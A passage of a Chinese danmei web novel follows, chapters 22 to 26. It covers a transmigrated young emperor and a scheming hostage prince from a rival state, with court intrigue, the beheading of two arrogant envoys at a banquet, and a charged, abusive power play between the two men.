小皇帝眼中透出的森寒,让裴郁璟意识到小皇帝并没有在开玩笑,他慢慢收敛了神色,眯起眼睛,眼神阴翳地看着年轻的帝王。 帝王生得一副好皮囊,肤白如雪,唇色猩红,深邃眉眼萦绕阴沉沉不散的戾气,也不曾掩饰脖子上的掐痕,毫无保留的显露在外,好似琉璃般脆弱矜贵的妖孽。 见他脸色有变,妖孽笑眯眯的,亲昵的,帮他理了理鬓角的发,蹲下身来四目相对。 师离忱语气狎昵,一字一顿,“裴郁璟,朕欣赏你的胆量,但是劝你别试图激怒朕,朕要是不高兴,你会更不高兴。” 裴郁璟看着小皇帝的唇一张一合,嗅着飘来的淡淡熏香,周围一切似乎都被模糊了。 旁的他都没听进去,只听到小皇帝念了他的名字,这是小皇帝头一回念他的名字。他的名字,被小皇帝低沉慵懒的嗓音吐出,格外好听。 虽然气氛并不友善,但他耳朵忽然酥了。 裴郁璟的发愣,被师离忱理解为了害怕。 还算识相。 他摆了摆手,示意金吾卫都退下。 郞义与乐福安有些踌躇,担心裴郁璟对圣上不利,迟迟未动,直到圣上不耐甩来一个眼神,他们才不甘地退下。 “浪费朕一杯好酒。”师离忱又靠回了小汤圆身子上,重新拿了个玉盏,伴随酒水倒入玉盏的清冽声响起,他道:“说吧,你的目的。” 裴郁璟看了眼圣上捏在盏边的手指,舔了舔唇,信口胡诌道:“没什么,就是想验证验证我猜的对不对,万一圣上受到我的胁迫,能赏我个一官半职,我也不亏。” 当然,原本他打的并不是这个主意。 他之前是想拿南晋边境城防,以及小皇帝的密辛和小皇帝谈条件。合作共赢,让他摆脱南晋,出宫别住质子府,但现在他改主意了,不想走,小皇帝又杀不了他。 他揉了揉耳朵,纳闷。 怎么会有男人叫他名字,叫得那么好听呢。 ……要是被打一巴掌能被叫一声,他也挺愿意的。 22、第二十二章:圣上,急报 南晋质子,想在月商做官。 师离忱哼笑,“你想得美。” 裴郁璟就地躺下,一手撑着后脑,看着师离忱,忽地道:“我也好奇,圣上为什么不杀我。” 帝王的杀意,都明晃晃的透出来了,对他造成的却是或轻或重,不致命的伤。 如果说是小皇帝自己不想杀,才改变了箭和刀的方向,那倒也说得通,只是不知是什么缘由让小皇帝改了主意。 师离忱不太想谈这个话题。 系统来源古怪,但他都能穿书了,还有什么不能发生?一想起系统,他眉心难免露出一丝愠怒,想凭惩戒让他妥协,门都没有! 他瞥一眼裴郁璟,拒绝让其猜下去,懒懒道:“有时候要学着别那么聪明。” “圣上夸我,不必拐弯抹角。”裴郁璟道。 此言一出,令师离忱笑了笑,朝着裴郁璟伸手,“来。” 矜贵细养的圣上,手若冰肌玉骨,裴郁璟眼底划过一丝暗色,依着小皇帝的意思凑过去,下一刻脸颊就被捏起。 师离忱不轻不重地掂量了两下,噙笑道:“果然,脸皮够厚。” 或许是饮了酒,酒劲上来的缘故,让天生体寒的小皇帝指腹有了温度,小皇帝看着他的双眸带着朦胧醉意。 这会儿裴郁璟也分不清到底是他脸热,还是小皇帝的手热,他眼神如恶狼般直勾勾地凝视着小皇帝,然后他把脸试探性得往前凑了凑,见小皇帝没反应,干脆枕在了帝王的腿上,免得小皇帝举得手酸。 这举动,引得师离忱哼了一声,“你倒是有眼色。”帝王的语气不轻不重,并无不愉。 酒意让师离忱软绵绵地打了个哈欠,他懒得把人踢开,只笑着重重掐了把裴郁璟的脸,“你这几天穿的衣裳不好看,像吊丧似的。” 不是白,就是黑,没有半点配饰,全靠一张脸和宽肩窄腰的高大身形撑着,换别人身上那就是灾难。 裴郁璟摸着玄色龙袍上的金纹,道:“质子入宫不能带配饰,璟没别的衣服可换。” 师离忱漫不经心道,“朕叫福安给你找身金吾卫的官服。” 金吾卫在宫中当值时穿的是玄甲侍卫装,平日外出穿的寻常官服则是朱红绣兽的劲装,以革带收腰,师离忱觉得那衣裳落在裴郁璟身上,一定很搭,很适配。 他道,“那颜色好看,红得喜庆,你不喜欢也得穿,朕喜欢。” 月光笼罩着观星台,楼中二人谈话姿态亲近,就仿佛一刻钟之前的剑拔弩张完全不存在。 裴郁璟意味深长地‘喔’了一声,握住贴在脸颊的手,闭目深吸一口,“圣上是打算让我做金吾卫?” 嗯? 师离忱打算让他清醒清醒,拍开覆盖在手背的大掌,手指扣在裴郁璟后脑,揪住了发根,把他从腿上扯起来。 上位者歪着脑袋,以孤傲地眼神冷冷看着掌中的裴郁璟,笑意森森,“你做什么梦?赏你件衣服,怎么还顺着杆往上爬?收起你那不该有的心思。” 裴郁璟被迫昂首与帝王对视,视线停留在圣上白如霜雪的脖上,那儿的指痕已然消到只剩两点红意。 他微喘着气,下颌突然紧绷成一道随时迸发的线,忍耐地青筋从脖子上浮现,嘴角咧开一个似是不得不服从的笑,“璟是圣上的小宠。” 话虽如此,他眼神却格外猖獗,说话时像是咬紧了后槽牙,声音发狠,“璟一定牢记,璟的身份。” 骄矜乖张的小皇帝,喜怒无常,说翻脸就翻脸,真是让人难以招架……但又想靠近。 师离忱最欣赏男主这幅能屈能伸的态度,心情颇好的松开揪着发根警告的手,顺势轻轻抚摸了一下,随意的姿态像是摸小汤圆,“乖。” “朕想谈的时候,你才有资格和朕讨价还价。”他抬眸望月,眼梢流露出几分恣睢,“现在,把嘴闭上。” 说着,就这玉盏轻啄一口,滋润了双唇,美酒明月,甚好。 观星台重归平静。 玉铎在微风中琳琅作响,双方各自心怀鬼胎。 真正的小汤圆,大脑袋趴在地板,目露委屈地看了看主人的手,又看了看被这只手摸过的人。 吊睛白额大猫目露凶光地看着裴郁璟,重重哼气无声龇牙,喉间刚发出压抑地低吼,便被嫌吵的主人结实地给了一巴掌。 小汤圆收起舌头上的倒刺,小心翼翼的,讨好的卷着舔了一口主人扇过它巴掌的手指,但是主人并不喜欢被舌头舔湿手的感觉,嫌弃地在它身上蹭了蹭。 小汤圆沮丧,老实重新趴了回去。 大猫受挫,对一旁目不转睛盯着瞧的裴郁璟,也熟视无睹了。裴郁璟则看得两眼发直,久久不能回神。 皇帝指腹带着薄薄粉意的如玉雕琢,骨指分明的手指,被大猫舌头卷过,带上了一层晶莹黏腻的湿润。 除了大猫,又有谁能想到,雄韬伟略,运筹帷幄的天子,也有不为人知一面。 那一刻。 裴郁璟居然生出一种不知廉耻的想法。 他想变成那只大猫,即便被扇两下也无所谓,即便娇贵的小皇帝下手又狠又黑也没关系…… 被这个念头惊到,裴郁璟刹那惊醒,枕在小皇帝腿上的脑袋猛地抬起,整个人陡然间弹坐起来。 高大的人影,瞬间挡了圣上赏月的目光。师离忱‘啧’了一声,眯着眼,“你又犯什么病?” 裴郁璟一时哑然,他不想承认自己有过那么不要脸的想法,那像什么话。舔一个男人的手指?不可能! 以他的身份,他的计策,是迟早要和小皇帝拼个你死我活的,怎么能去舔他的手指。 笑话! 底下的阶梯处,传来乐福安通禀声:“圣上,急报。” 突如其来的急报,让师离忱不在抓着裴郁璟不放,将注意力转移到了乐福安呈上的急报上。 察觉到有敌意,裴郁璟面无表情的扭头,就见乐福安尚有空闲地冷冷剜他一眼。 师离忱翻着急报,唇角微微上扬,“南晋真撑不住气,也是真不顾你死活。” 他对裴郁璟道,“朕真盼着你四皇兄做太子,若是你四皇兄登位,朕一统天下指日可待。” 二皇子中毒,南晋四皇子党气焰嚣张,四皇子党派主战,已然催动朝臣,迫使南晋出兵,令十万大军压境。一个留在南晋的质子,被使臣利用,被皇兄背刺,是死是活已然无人在意。 这份急报师离忱交给了裴郁璟,让他看看,乐福安欲言又止,无奈:“圣上,这是急报,他怎么能……” 师离忱笑着抬手,示意乐福安不必多劝,怡然自得地品一口酒,叹道:“好戏还在后头呢。” 裴郁璟看着急报地目光阴翳,一个个记下了急报上的名字,唇边笑意冰冷,“主将回京,南晋撕毁和谈之约以大军压境,圣上有对策了?” “谁说朕只有一个主将。”师离忱起身,嗤笑道:“朕的边军可不是吃素的。” 乐福安上前为他披上大氅。 广袖龙袍垂坠,他低眼瞥来,俊昳的眉眼透出几分独属于帝王的孤傲威严,慢条斯理道:“庆功宴快结束了,走吧,朕带你去看戏。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 23、第二十三章:又演起来了 同一片夜空。 月商边关。 一行铁骑入城,守城军打开城门,为首将领翻身下马,“京都粮草到了?” “刚到,清点登记在册的军需,比往常送来的多出一倍。”守城军跟着回禀,压低声音道:“房将军,还有圣旨。” 房家墨身形一顿,旋即脚步都快了几分,骂骂咧咧道:“盯好那群南晋俘虏,别让他们给老子找事!” 这封圣旨以机密的形式传出,无需搞形式主义,房家墨拿起便看,神情逐渐变得凝重,最后哈哈大笑,立刻传令:“来人!立刻召集十万大军,往前推进,直接安营扎寨!” 圣上可说了,尽管往前压,守好边关,必要时可直攻。且不说月商国力强盛,光打仗这事,房家墨还没怕过! 这时,门外传来一阵急匆匆地脚步,房云哲猛地推开门,喘着气道:“爹,不好了,鞑靼人突袭,津阳城被扰。” 津阳城靠近鞑靼所在的草原,常年有边防军守卫,但鞑靼人灵活,擅奔驰突袭,从前经常闹得津阳城不得安生。 自打先帝御驾亲征打退过一回,便安分了多年,如今怎得又闹起来了。 房家墨问:“可严重?” 房云哲肃声道:“那帮鞑靼人很奇怪,引走了守城军,搬了津阳城一个粮营,并未大肆伤人。” 鞑靼人凶残,此举有违常理。 房家墨眸色一沉,垂眸重新去看圣旨。 房云哲自告奋勇:“爹,要不要我带一队人马去津阳城?” 见房家墨仍看着圣旨,房云哲不满道,“爹,你发什么愣?都看好半天了,圣上说什么了?” 他凑过来一瞧,瞳孔震颤,诧异地张大嘴巴,最后只呆呆说了句:“……圣上怎么知道鞑靼人作乱?” 圣旨传到边关,少说要走十来天,十天前圣上就写下了这幅圣旨,又怎料到南晋会撕毁和谈之约,大军压境。 房家墨却道:“圣上叫我们不必理会鞑靼,守好边关,我们守着便是,其余的圣上自有考量。” * 京都。 昭阳殿。 殿内明亮辉煌。 宫女奉灯,编钟奏响,伶人裙摆飞扬。 五级惩戒非同小可,师离忱刚下两步台阶,发软的骨头险些让他摔了,便坐在轮椅上被一路推来。 他牵着一根锁链,令一端拴在了随身在侧大猫的脖子上,锁链套在毛茸茸的脖子里不松不紧,垂在胸前,更像是个装饰。 昭阳殿外。 见夜色中圣上的身影出现,太监正要禀报,乐福安抬手制止,沉默着摇了摇头,通报太监会意,立刻垂首退下。 轮椅静悄悄地靠近,殿内传来交谈之声。 南晋使臣道,“穆将军和我急什么,月商扣下我国三座城池,还与不还,可不是你说了算。” “此乃大宴,你一异国使臣,胆敢放肆!”镇国公已然震怒。 显然来之前,双方就已经进行过争吵。 南晋使臣早已得到边境近况,面对镇国公气焰嚣张,完全不惧,“我们南晋也是好心,担忧尔等自顾不暇,将军也该知道鞑靼人有多难缠,何不各退一步?” 官场中人,哪有听不懂的,顿时殿中响起窸窸窣窣地交谈声,镇国公脸色骤变,南晋疯了不成,与鞑靼人联手无异于与虎谋皮! 殿外,师离忱侧目,瞥一眼裴郁璟的反应。 裴郁璟神态自然地朝师离忱一笑,状似无害,半张脸被藏匿在檐下垂落的阴影当中。 谁也看不清,他盯着师离忱的眼眸,深沉得宛若即将出笼的恶狼,冷得森然,獠牙已然蓄势待发。 又演起来了。 师离忱暗自冷哼一声。 收拾完里面的,再来收拾你。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 24、第二十四章:他们的呼吸很吵 或许是有酒水加持的缘故,又或许是有人刻意授意。昭阳殿内,南晋使臣大放厥词。 他们将本该在谈判桌前商议的事,被端到了宴会上,不分场合死地咬着三座城池不放,硬是要官员们给个说法。 镇国公面色难看,按住了身旁捏拳的穆子秋,暗自摇了摇头,“不可冲动。”圣上尚未表态,使臣即便再嚣张,也不能伤。 然武官能忍,文官不行。 直肠子的御史们也顾不得什么礼仪体统,瞧着镇国公神情沉重迟迟不语,恨铁不成钢干脆自个站起来和南晋使臣吵。 隔着起舞的伶人,双方相互指指点点,吵得个脸红脖子粗。直到殿外响起乐福安拔高的嗓音,“圣上到——” 才消停。 …… 舞乐停下,站着吵的,坐着看的,统统都起身行礼参拜。 一只健硕地白虎出现在殿前,发出一声沉重虎啸,穆子秋低眼瞧见杯中酒水都被震得波动几番。 殿中一片沉寂,唯有圣上轮椅轻轻碾过路面的动静,慢悠悠,似在磨人心。血盆大口的白虎,也让一些胆小的官员腿脚发软。 片刻后。 空旷的殿上才响起圣上低沉轻慢地声音:“起吧。” 腿脚发软地官员们战战兢兢地坐回去,刚吵过的御史恶狠狠地瞪了眼对面的南晋使臣,预备着随时告黑状。 上首,师离忱身子前俯,一只手掌撑在膝盖,笑吟吟地打量着下方面色酡红的南晋使臣。 一副姿态和善,关怀邻国使臣的亲昵语气,“二位使臣,今日宴上可还尽兴?” 两个使臣认为这是月商帝退让的信号,得意洋洋地甩了御史一个眼色,其中一人抬高下巴,“尚可,不过月商酒水,比不得南晋御酒醇厚。” “喔?”师离忱似笑非笑,“朕倒也听说过,南晋御酒是由鞑靼人所改,又烈又香。” 使臣扬眉,“只要月商肯归还我国的三座城池,压境大军即刻撤退,必不会给圣上多增烦扰。” 此话一出,师离忱忍不住低笑两声,新奇地看着说话的使臣,“没人告诉你们,和朕说话的时候,得把头低着?” 语气宛若平常询问,另一名使臣却敏锐察觉到不对。 他背后一寒,猛地想起在外头听到关于月商帝的传闻,盘踞京都的第一世家说诛九族就诛,路过午门时久经不散的血腥味,他被酒水浸透的脑子陡然清醒许多,打算提醒同僚告罪。 然而为时已晚。 他已经说不出话了,明明前一刻还在想着怎么赔罪,后一秒就看到一个血如柱涌的身子,身子没了脑袋,有些眼熟。 他恍然大悟。 那是他的身子。 两名使臣的脑袋,咕噜噜在地上滚了几圈,身子摇摇晃晃倒在地上,郞义面无表情收刀,重新站回圣上身侧。 众臣骇然,一时惊慌失措,胆子小些的惊叫出声。圣上的手指在案前叩了叩,众臣回神,压下狂跳的心脏,低头不再去看那血腥的一幕。 “别大惊小怪,他们的呼吸很吵,朕不喜欢。”圣上笑说,“来人,把他们的脑袋收拾好,叫他们的人带回去送给南晋帝。” 底下御史平复了会儿心绪,这下是省事了不用告黑状,但是这后续怎么处理又是个问题。 两国商议不斩使臣,偏偏圣上不按常理,御史起身,小心措辞:“圣上,这……我等该如何与南晋交代?” 一言出,立刻有其他御史符合,众臣强自镇定的不去看两颗无头尸,委婉地商讨起该怎么糊弄南晋一方。 听着他们的议论声,师离忱目光瞥着一旁的裴郁璟,伸手示意要他腰间的匕首,裴郁璟沉默一瞬,交了过去。 师离忱慢条斯理地开始分解案上的烤羊,一条腿塞到早就馋得流口水的小汤圆嘴里。 虎盆大口小心翼翼地叼过他手中羊腿,生怕咬到师离忱,模样格外滑稽,叼过去后才放开姿态,把骨头吃得咔咔响。 殿中忽然陷入死寂,嚼骨头的声音叫人格外毛骨悚然。 师离忱欣赏着小汤圆吃东西的样子,等它吃完又接着喂上去,无所谓道:“交代什么?使臣不懂礼数,朕也不必懂,照实说。” “……” 瞧着金吾卫进殿收拾残局,捧着两颗血淋淋地脑袋,放进早就准备好的四方盒子里,众臣头脑一片空白,一时间半句话也说不出。 等反应过来时,圣上刚给白虎喂了半只烤羊,摆手令乐福安传旨,到底是庆功宴,要进行论功行赏。早就定好了圣旨被拿出来,乐福安站在高处一字一顿的念。 众人跪地领旨的功夫,圣上已然牵着白虎退席。 昭阳殿内议论纷纷,师离忱早已漫步至御花园,山茶花树开得正艳,他指腹拨了一朵,漫不经心道:“朕杀南晋使臣,你好像很痛快?” 须臾。 身后响起裴郁璟低沉的嗓音,“圣上许是看错了,璟是南晋人,只会伤心。” 师离忱忽地回首,看向裴郁璟。 本就是夜,师离忱特意未命人点灯引路,即便此刻月色明亮,那高挑地人影站在山茶树前的阴影里,也看不清神情。 他缓缓转着指间的山茶花,眼梢轻挑,脸上笑容比山茶花还要俊美秾艳,语气轻佻地骂:“狗东西,嘴里没一句实话。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 25、第二十五章:不如小皇帝 狗东西本人不置可否。 “啪!” 师离忱大发慈悲地赏了他一巴掌,笑意莫测:“跪下。” 这一巴掌打得狠,裴郁璟都尝到嘴角的血腥味,他摸了摸发麻的脸颊,眯着眼神色微变。 师离忱语气冰冷,“聋了?朕不想重复第二遍。” 裴郁璟冷笑着,结结实实地跪了下去,脊背挺直,阴恻恻道:“请圣上明示,璟实在不知哪里让圣上不快了。” “你不知道?”师离忱仿佛听到了天大的笑话,略带薄寒的指腹掐住了裴郁璟的下巴,迫使他抬头仰望,“朕和你说过的,别和朕装模作样!” 帝王背对着明月,长睫低垂,居高临下地将目光落来,肤白近透,唇比山茶花要红,眉眼的几分愠怒让他开得更夺目了。 与明月争辉,又胜过明月。 裴郁璟一腔火气顿时消去一半,阴鸷的面容硬扯出个无辜笑脸:“我说得可都是实话。” “啪!” “啪!啪!” 师离忱嗤笑一声,用力捏着裴郁璟的下巴,又利落的赏了他几巴掌,不曾留手,打得掌心都有些疼。 顷刻间。 那张阴鸷俊美的面容上,浮出红红的巴掌印。 师离忱道:“实话?你教唆使臣来挑衅朕的事,你怎么不说呢?” 硬受了两巴掌,裴郁璟眉心轻敛咬着牙,脖子上崩出两条似要暴起的青筋,盯着师离忱的双目赤红,神情像是隐忍。 师离忱反手抽了他一巴掌,低斥道:“当什么哑巴,说话!朕给你机会,好好交代。” 掌风迎面来。 裴郁璟目光一沉,还打上瘾了。 他突然抬手,扣住小皇帝的手腕,侧面瞟了眼,原本只有一层淡淡粉意的掌心都打红了。 最适合裹上一层透明的水意。 裴郁璟舔了舔唇,声音沉哑:“圣上,够了吧?” 师离忱呵笑一声,“鞑靼人从朕的津阳城搬走一个营的粮草,朕把你千刀万剐都不够。” 话说到这份上,已经挑明了。 裴郁璟蓦地抬眼看着余怒未消的圣上,黑沉沉的眸底深处,属于恶狼的野性蠢蠢欲动。 可惜恶狼寄人篱下缩起耳朵,只能收着獠牙,压着本性,狡猾的扯出一个虚伪的笑,“圣上这话说得好没道理。” “有没有道理,你自己清楚。”师离忱顺了气,又带上温柔地笑容,重新摘一朵山茶花别在裴郁璟耳后,捧着裴郁璟的脸,满意打量着这张脸上的巴掌印和山茶花的适配度。 红花配恶犬。 绝配。 他慢条斯理道:“你应当是与人达成了交易,才来月商为质,但你留了一手,在主战派里安插了人手,只要镇国侯回京,南晋便以大军压境。” “不过,朕挺好奇的。”师离忱蹲下身,调整着山茶花的位置,顺带把裴郁璟垂落的鬓发也一同折到耳后,亲昵道:“你到底怎么说服鞑靼人,配合你的计划?只一个营的粮,可喂不饱那帮鞑靼人。” 裴郁璟低笑,“我还以为圣上什么都猜得到。” “朕又不是神仙。”师离忱托着裴郁璟脸侧,大拇指的指腹在裴郁璟出血的嘴角摩挲,“朕只是知道你和他们有联系罢了。” 那本耽美文的中后期,鞑靼人进攻月商从而导致了天下大乱,其中是有男主推动的手笔。 至于内情如何,并未详解。 小皇帝微凉的指腹,在唇角有一下没一下的拨弄。 这般玩味的,略带羞辱的举动,却让裴郁璟生不出半点反心。小皇帝起了玩心,目光认真且专注地落在他的唇上。 小皇帝把指腹沾上的血,又顺着唇缝送了一点到口中,让裴郁璟尝到了血腥味……以及小皇帝娇嫩的指腹。 他喉结微滚,想起在观星台,小皇帝扇了大猫巴掌,却被大猫用舌头讨好的卷住了手指。 与现下何其相似,他就像那只被小皇帝玩弄的畜生,指不定他在小皇帝心里的地位,还没那只吊睛白额大猫来得高。 裴郁璟陡然一暗,盯了小皇帝半响,忽而伸出大掌,轻而易举地覆盖住了小皇帝的手背,灼热地掌心结结实实地把小皇帝烫了一下。 然后他偏头,在小皇帝玩弄他唇角的指腹上,结结实实地舔了一口。 …… 师离忱神情骤地冷下,伸手要把人推开。 推了一下,人扣着他的手背,跪在原地纹丝不动,甚至还似挑衅般抬眼,直勾勾凝视着他的双眼,轻轻咬了一下他的手指。 师离忱猛地起身一脚踹过去,才摆脱这倏然发疯的恶犬,气笑了,“不想回答朕的问题,就想出这个办法恶心朕,真有意思。” 圣上薄怒,目光发寒。 空气一时冷寂。 裴郁璟扶着被踹过的肩膀跪了回去,意犹未尽地砸吧一下嘴,森森一笑:“能恶心到圣上,也是我的本事。” 他歪起脑袋,欣赏着自己的杰作,看着小皇帝眼尾气出红晕。雪白的皮肤下透出薄薄淡红,像抹了胭脂,真好看。 像矜贵的玉一样。 这时,传完旨意地乐福安追上来。 一瞧圣上气得胸腔起伏,裴郁璟带着一脸的巴掌印跪着,顾不得说上些好话劝慰圣上,道:“圣上,太后娘娘有请。” 虽说月商对待女子并不苛刻,但到底讲究礼仪,庆功宴也分男宾席和女宾席,女宴在昭阳殿不远的太极宫。 大猫打了个滚,趴在地上,锁链叮当响,师离忱抬手将它脖子上锁链拿下来,套在了裴郁璟脖子上。 他道,“不说也好,就在这儿跪足一个时辰吧,反正你不疼。”拍了拍大猫的虎头作为奖励,路过裴郁璟时,他垂眸冷冷一瞥,“小汤圆会盯着你。” 比起严刑逼供,他更倾向于驯服这只,随时会露出凶狠爪牙的恶狼。 脸上的疼痛火辣辣,对于裴郁璟来说却无伤大雅,瞧着小皇帝远去的修长背影,他转眸和大猫凝视他的目光对上。大猫终究是大猫,不懂得掩藏,龇着牙眼里全是兽性的凶残。 裴郁璟神色一寒,周身气势陡然变得充满压迫感与威慑力,阴霾的眉眼似是在往外冒杀意。 大猫对于杀气最为敏锐,有些不安地甩了甩尾巴,喉间发出类似震慑的低吼。 “咯嘣。” 铁链崩断。 裴郁璟松开手,堪比手粗的锁链,被他轻而易举捏成了两半。大猫也没碰到过这种硬茬,到底是从小被人带到大,缺少了些野性,又怂怂地趴会去。 裴郁璟摸了摸被打到发热的脸颊,顺手把耳后夹着的山茶花摸了下来,他拿在手中转着,轻轻捻了捻花瓣,又嗅了一口。 花瓣触感微凉,就像小皇帝的手指,带着薄薄的凉意,他突发奇想摘了片红山茶的花瓣卷入口中,在舌尖细细品味,花香和涩味一齐迸发。 嗯…… 他敛眉。 不如小皇帝。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 26-30 第26章 给太后一点脸面,师离忱去太极宫转了一圈。 各路夫人携贵女出席,场面热闹的很。 太后有作妖的苗头,师离忱却没陪太后做戏的兴趣,在观星台酒喝多了,有点困乏,没等太后说话找了个由头便先离席。 人刚走,一名小宫女便凑到太后身边,附耳悄声将圣上怒斩使臣的事讲述一遍,穆锦绣惊魂未定地捏着帕子,只觉师离忱这疯病越来越严重了,大张旗鼓当庭斩使臣,也不怕和南晋彻底撕破脸。 她也顾不得礼法,低声嘱咐:“宴散之后,召兄长一叙。” …… 一个时辰一晃而过。 郞义冷着脸来牵小汤圆,见裴郁璟手里掂着朵半残的山茶花,眉头蹙了蹙,对此人愈发不喜。 跪一个时辰不算什么,裴郁璟走路完全不受影响,深秋夜里霜气重,他却硬跪出了一身薄汗,热得卷起了衣袖。 脸颊上的巴掌印也消了一半,但还能看出泛红的五指轮廓,毕竟小皇帝使了大劲打,哪能一点不疼。 裴郁璟嘴角挂着莫名其妙的笑,顶着一脸的巴掌印,昂首阔步,走出了炫耀的姿态。 郞义眼神诡异地打量几眼这位质子殿下,觉得裴殿下大概脑子有病,明明被圣上罚了怎么还一副得赏的模样。 而且这位殿下脖子上挂着一串铁链,有点眼熟。郞义低头看了看手里的铁链,好像是栓大猫用的。 这种堪比臂粗的铁链,在除了诏狱以外的地方,基本上都拿来栓大猫用,沉重地要命,走一步响一步。 一路同行,叮铃哐啷此起彼伏。 倏然,裴郁璟偏头看了眼大猫,“它不回兽园?” 这个方向去的是紫宸殿。 郞义目视前方,冷冷的不搭理裴郁璟。裴郁璟眯了眯眼,目光阴翳地扫视了郞义一圈,笑容里忽地多出几分戾气,算是记下这个人了。 …… 紫宸殿外,郞义牵着大猫送进了殿内,裴郁璟被福生拦在了门口。 福生微笑道:“裴殿下,圣上说了,你今日不睡这儿。” 圣上虽说是让南晋质子做小宠,可他们这些底下做奴才的,嘴巴上到底要做个好功夫,鬼知道哪天会因为这种小事闹到没命。 裴郁璟顿时感到心头有些没滋没味,他笑意微敛,“都是圣上的小宠,小汤圆怎么进去了?” “圣上给您留了口谕,叫您睡兽园去,小汤圆睡哪儿,您就睡哪儿。”福生把圣上留的口谕复述了一遍,又道:“圣上还说了,瞧着您心烦,最近不想见您。” 打人的是小皇帝,罚人的也是小皇帝,怎么小皇帝还心烦上了?裴郁璟笑了,那笑不达眼底,他瞥眼将视线探向殿内。 小皇帝像是刚洗浴完,藻丛般的发被乐福安用柔软的帕子卷着绞干,就单穿了一件宽松亵衣,面上酒意朦胧,瘫在软椅上散着酒劲,一双玉足塞到大猫腹部,直接陷了进去,只剩一点淡淡氤湿粉意的足尖路在外头。 那畜牲倒是会顺杆子爬,用腹部给圣上暖足,扭着身子撒娇,缩着耳朵拿大头去拱圣上的腿。 把宽松的裤腿往上拱出一截,露出如玉似的脆弱脚踝,和莹润饱满线条流畅的小腿,它收着舌头上的倒刺偷摸舔了两口。 “啧。”圣上痒了,嗔怪地拍了拍虎头,“朕刚洗干净。” 乐福安笑说,“到底是一手带大的,小汤圆还是和圣上更亲近,奴才们去给它喂肉,都得仔细着点,不然容易受伤,到圣上跟前它倒是知道收着点力气了。” 外头,裴郁璟深深敛眉,盯着里头看了有一小会儿。 不知在想什么,他黑沉沉的眼底似萦绕了森森戾气,连带周身气势都染上几分骇人的架势。 像是风平浪静之下,还藏着令人畏惧的爆发力,仿佛随手就能拧断人的脖子。 福生被惊了一下,回过神来要阻拦他这番逾举的窥探,还没出声,这位质子殿下便沉着脸,一言不发转身快步离去。 瞧那背影,居然能从中品出了仓皇的姿态。 荒谬! 福生甩头。 一定是看错了。 …… 乐福安在给圣上按着太阳穴,圣上淡淡瞥了眼外头的动静,什么也没说又闭上了眼睛。 乐福安轻哼,“算他乖觉,没来打搅圣上。” 乖觉? 师离忱唇角上扬,“那你可看错他了,指不定肚子里憋着坏水呢。” 推动南晋主战大军压境,联合鞑靼人扰乱津阳城,还借着他的手,除去有仇的使臣,嘴里的话半真半假,也就表面乖觉。 乐福安笑道:“圣上打算留他到几时?” 杀不了裴郁璟,简单的六个字,却无法用常言解释。师离忱无奈地笑了一下,只道:“福安啊,留着他还有用。” 杀不了,就利用吧。 “圣上心善。”乐福安叹道,“您的性子,还是随了纯妃娘娘。” 纯妃娘娘是圣上生母,可惜早逝于深宫。 经乐福安一提,师离忱脑海中忍不住浮出一个身穿宫装的温柔女子,不过只剩下一个模糊的影子。 女子常年郁郁寡欢,笑容勉强,眼里一片死寂,只有站在高高的宫墙之下,眺望天空的时候,才松开眉头,涌现出一丝鲜活。 她厌恶皇宫,厌恶先帝,连带对他也都是淡淡的。 师离忱微微出神,敛眸自语:“如果母妃知道她被移出了皇家玉牒,应该会很高兴吧?” 乐福安手上动作放缓,将头低下,避免扰乱圣上的思绪。因为他知道,圣上并不是在征求谁的意见,而是在思考一个决定。 圣上考虑好了,蓦地站起。 眸波平静,道:“来人,拟旨。” * 寿安宫殿外。 镇国公揣着袖子与穆子秋一同等候通传。 镇国公本不想带这逆子他,可这逆子却执意要跟来,却怎么赶都赶不走。当时庆功宴还没散完,同僚们都看着,他也不好骂的难听,只能不痛不痒地踹了逆子一脚,随便他去。 很快引路太监就将二人带入了寿安宫。 殿内,太后正在与一年轻贵女叙话,二人进来先朝太后行礼,起身后,镇国公冷着脸把目光看向年轻贵女,“诗婉为何在此。” 穆诗婉抿唇起身,行了个礼,才温声道:“叔父,婉婉许久没见姑母了,这才多留了一会儿。” 镇国公拧眉,似是不赞同,穆诗婉求救的目光看向一旁的穆子秋,穆子秋回神笑呵呵劝道:“爹,别动气,等会我带婉婉一起出宫,不耽误。” 镇国公瞪了眼穆子秋。 “正好哀家要和你说这事。” 太后敛了敛笑容,道,“圣上后宫空虚,婉婉及笄了年岁也合适,哀家想着让婉婉和圣上相看一番,今儿个不行就改日,恰好哀家身子不适,便留婉婉在宫中小住几日不打紧……” “不行!”镇国公厉声呵止,周遭宫人们都低下了头,他强压着怒气,对穆子秋道:“带你妹妹出去。” 穆子秋见亲爹动真怒了,哪敢再犟,赶紧带着穆诗婉快步离开寿安宫。 宫人们都被屏退,殿内只剩镇国公和太后对峙。 四目相对,双方都冷了脸,各有各的想法,恨不得用眼神在对方身上扎刀子,气氛算不得融洽, “你别打婉婉的注意。”镇国公率先打破了沉寂,警告她,“我们穆家世代征战沙场,大哥死前只留下这么个独苗,不是让你拿来祸害的!” 太后红着眼,猛地站起身,“榆木脑袋!” 她眼泪要掉不掉,指着镇国公大骂:“当初送我进宫的时候不是很痛快吗?!怎么落婉婉身上就不行?让她做皇后怎么就是祸害了?!” “你好威风啊镇国公!当年对着阿爹怎么没耍这威风?眼睁睁看着阿爹把我送进来,你连一句话都不敢说!” 镇国公哑然,同样红了眼,明知胞妹每回都要拿这事出来刺他,让他愧疚让他心软,他却半句反驳都说不出。 穆家忠君爱国,却没有一个对得起穆锦绣。 回想起圣上的敲打与警告,穆家的未来,锦绣的性命,一桩桩一件件,肩上的担子几乎快压得他喘不过气。 镇国公闭目深吸一口气,沉声道:“太后娘娘,慎言。” 他昂首看着太后,道:“我劝太后,莫要再去招惹圣上,收起你的心思,穆家承蒙君恩断不会助你叛君,你若还要母家,就回九华寺去,圣上必不会短你吃喝,也会保你荣华。” 太后只冷冷看着镇国公,“是他叫你来说这话的?” 镇国公摇了摇头,整个人像是老了一截,叹道:“锦绣,该放下了。” “咚!”暖手的袖炉砸在地上,太后骂道:“你手里拿着兵权,还这么窝囊!窝囊!” 镇国公一脸平静,“虎符我已交还圣上。” 太后气急,胸腔剧烈起伏,指着镇国公好半晌说不出话来,发起狠了又把手边的茶盏砸了。 …… 寿安宫外。 穆子秋试探地问:“……太后对你说了什么?当真是要你入宫?”他掩饰地咳两声,“我没别的意思,我就是问问你的想法。” 